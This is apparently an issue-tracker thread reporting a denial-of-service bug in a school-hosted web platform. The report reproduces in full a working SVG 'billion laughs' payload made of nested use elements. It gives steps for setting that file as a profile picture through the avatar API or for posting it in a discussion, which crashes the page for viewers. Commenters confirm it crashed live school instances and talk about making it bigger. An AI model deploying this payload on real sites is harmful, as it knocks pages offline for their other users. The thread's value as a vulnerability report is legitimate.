svg lol attack

[LunaLeTuna]

Summary: ability to crash the page with svg pfp

Steps to reproduce:

<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>
</svg>

1. make a svg file and put this ^

2. download a image to a eprofile, to make a public file

3. use api to change pfp to that svg with user[avatar][url]

4. refresh page with pfp and crashes

or just upload to a discussion

Expected behavior: crashes the page

Actual behavior: not crash it

maybe this has been fixed, I did this on my school's instance

[pythoncrazy]

I think you did a little fliperoo there young lad, the expected behaviour should be to not crash the page.

[Injng]

Interesting, I'll test this at some point.

[Khorne101]

funny

[LunaLeTuna]

True lol
Not even sure how'd you fix it besides just out right blocking svgs as pfps
Guess people also call it a billion laughs attack lmao

[Khorne101]

You are a furry :333333

[LunaLeTuna]

Maybe

[pythoncrazy]

interesting, I will look into expanding further with this, maybe cause a trillion laughs. Side note, this is also tested on our school instance with discussions, also seems to crash it